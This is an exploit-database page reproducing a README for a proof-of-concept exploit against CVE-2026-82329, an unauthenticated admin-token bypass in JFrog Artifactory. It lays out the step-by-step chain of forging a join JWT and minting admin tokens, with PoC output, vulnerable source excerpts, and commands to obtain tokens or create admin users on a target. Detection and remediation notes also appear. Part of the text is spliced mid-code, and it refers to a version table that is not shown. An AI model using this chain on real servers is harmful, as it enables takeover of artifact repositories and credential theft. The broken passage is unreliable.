Sploitus

Exploit for CVE-2026-82329

githubexploit Β· 2026-09-01

Exploit Code

README143 lines
## https://sploitus.com/exploit?id=D29A1B56-D5F5-5703-974E-8AEC085FE36E
# CVE-2026-82329 β€” JFrog Artifactory unauthenticated auth bypass β†’ admin takeover

**CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Β· CWE-287 Β· disclosed 2026-08-28 Β· exploited in the wild.**

An unauthenticated, network-adjacent attacker mints a **platform administrator access token**
against a default self-hosted JFrog Artifactory. This directory contains a reproducible Docker
lab and a URL-parameterised validator PoC.

Reproduced and A/B-verified on `artifactory-oss` **7.161.19** (vulnerable, JFrog Access 7.191.11)
vs **7.161.20** (patched, JFrog Access 7.191.14).

> Root cause was **derived from the vendor patch itself** (bytecode diff of the closed-source
> JFrog Access service between the two container images), then proven live β€” not taken from any
> third-party write-up.

---

## TL;DR exploit chain (all unauthenticated)

1. **Forge a cluster "join" JWT.** JFrog Access verifies join JWTs with the platform *join key*
   used as an HMAC secret. A bug leaves a **blank join key** in the trusted verifier set on a
   default install. `getSigningKey("")` = `pkcs7(, 32)` = **32 bytes of `0x20`** β€” a fully
   known secret. So anyone can sign a valid join JWT (`alg=HS256`, `kid = SHA256("")`, fresh `iat`,
   any `service_id`, `skip_node_registration=true`).
2. **`POST /access/api/v1/registry/join`** (`RegistryNoAuthResource` β€” *no authentication*) β†’
   **HTTP 201**, returns a `SERVICE` token with scope `admin` (audience = Access).
3. **`POST /access/api/v1/tokens`** with that token, `scope=applied-permissions/admin&audience=*`
   β†’ a **full admin platform access token** (this is the "minting admin tokens" behaviour reported
   in the wild).
4. **Use it** β€” read the entire server configuration, list/steal every access token, and on
   Pro/Enterprise create admin users, repositories, etc.

```
$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Step 1  /registry/join           -> HTTP 201  SERVICE token minted (scp=admin)
[+] Step 2  /access/api/v1/tokens    -> HTTP 200  ADMIN token (scp=applied-permissions/admin, aud=*)
[+] Step 3  proof of admin capability:
      GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, admin-only; unauth=401)
      GET /access/api/v1/tokens (list ALL tokens) -> HTTP 200 (admin-only)
[=] VULNERABLE - unauthenticated attacker obtained ADMIN on this instance (CVE-2026-82329).
```

---

## Root cause (from the patch diff)

JFrog Access 7.191.11 β†’ 7.191.14 changed exactly **12 classes**. The security-relevant ones:

### 1. Blank join key silently trusted β€” `JoinKeyAccess.tryResolveJoinKeys()`

```java
// VULNERABLE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
    JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" allowed
    joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // blank key added to trusted set
    log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});

// PATCHED (7.191.14)  -> blank entries filtered out
Arrays.stream(joinKey.get().split(",")).map(String::trim)
      .filter(Strings::isNotBlank)
      .forEach(...);
```

With no additional join keys configured (**the default**), the config value is `""`;
`"".split(",")` yields `[""]`, so a **blank** `JoinKeyHashPair` (kid = `SHA256("")` =
`e3b0c442…b855`) enters the trusted "additional join keys" map. `JoinKeyHashPair` was also
hardened to reject null/blank in the constructor.

**Confirmed on the live default instance** β€” server startup log:

```
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
```

That kid is exactly `SHA256("")`.

### 2. The blank join key is a known HMAC secret β€” `JoinKeyUtils.getSigningKey()`

```java
public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// pkcs7 padding of an EMPTY key: padLength = 32  ->  32 bytes, each == (byte)32 == 0x20
```

So the join JWT for the blank key is signed with **`HS256` over 32 bytes of `0x20`** β€” attacker-known.

### 3. The unauthenticated join endpoint mints an admin token

`RegistryNoAuthResource` (`@Path("/v1/registry")`, no `@Authorized`):

```java
@POST @Path("join")
public Response join(String jwtStr) {                    // body = the raw JWT
    JwtToken token = this.joinService.join(jwtStr, ...); // validates: fresh iat (/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> VULNERABLE

docker compose down
ART_VER=7.161.20 docker compose up -d          # patched control
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> NOT VULNERABLE (join HTTP 400)
```

Artifactory 7.161.x **requires PostgreSQL** (its Access service refuses the bundled Derby), so the
lab includes a postgres sidecar.

---

## Validate a real target

```bash
python3 poc/cve_2026_82329_poc.py http://:8082
python3 poc/cve_2026_82329_poc.py http://:8082 --create-admin evil:P@ssw0rd1   # Pro/Ent state change
python3 poc/cve_2026_82329_poc.py http://:8082 --token-only                     # print an admin token
```

Point it at whatever front-ends the JFrog Router (`/access/…` reachable). It reports **VULNERABLE**
(admin obtained) or **NOT VULNERABLE** (join rejected). Only run against systems you are authorised
to test.

---

## Detection / IOCs

- **Access request log**: `POST /access/api/v1/registry/join` from non-cluster hosts, especially
  followed immediately by `POST /access/api/v1/tokens`.
- **Access service log**: the line
  `Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …`
  means the blank join key is trusted (present on unpatched defaults).
- **Access audit / token store**: unexpected non-expiring tokens with `scope=applied-permissions/admin`,
  `audience=*`, or service-subject admin tokens (`sub=`, `scp=admin`, `aud=`).
- Join JWTs whose `kid` claim equals `SHA256("")` (`e3b0c442…b855`).

## Remediation

Upgrade to the fixed version for your branch (table above). Additionally: front Artifactory behind a
reverse proxy that does not expose `/access/api/v1/registry/**` to untrusted networks, and rotate the
join key + revoke unexpected admin tokens after patching.

---

*Artifacts in this directory:* `poc/` (validator), `lab/` (Docker lab), `analysis/` (patch diffs +
decompiled evidence), `EVIDENCE.md` (captured run output). For authorised security research only.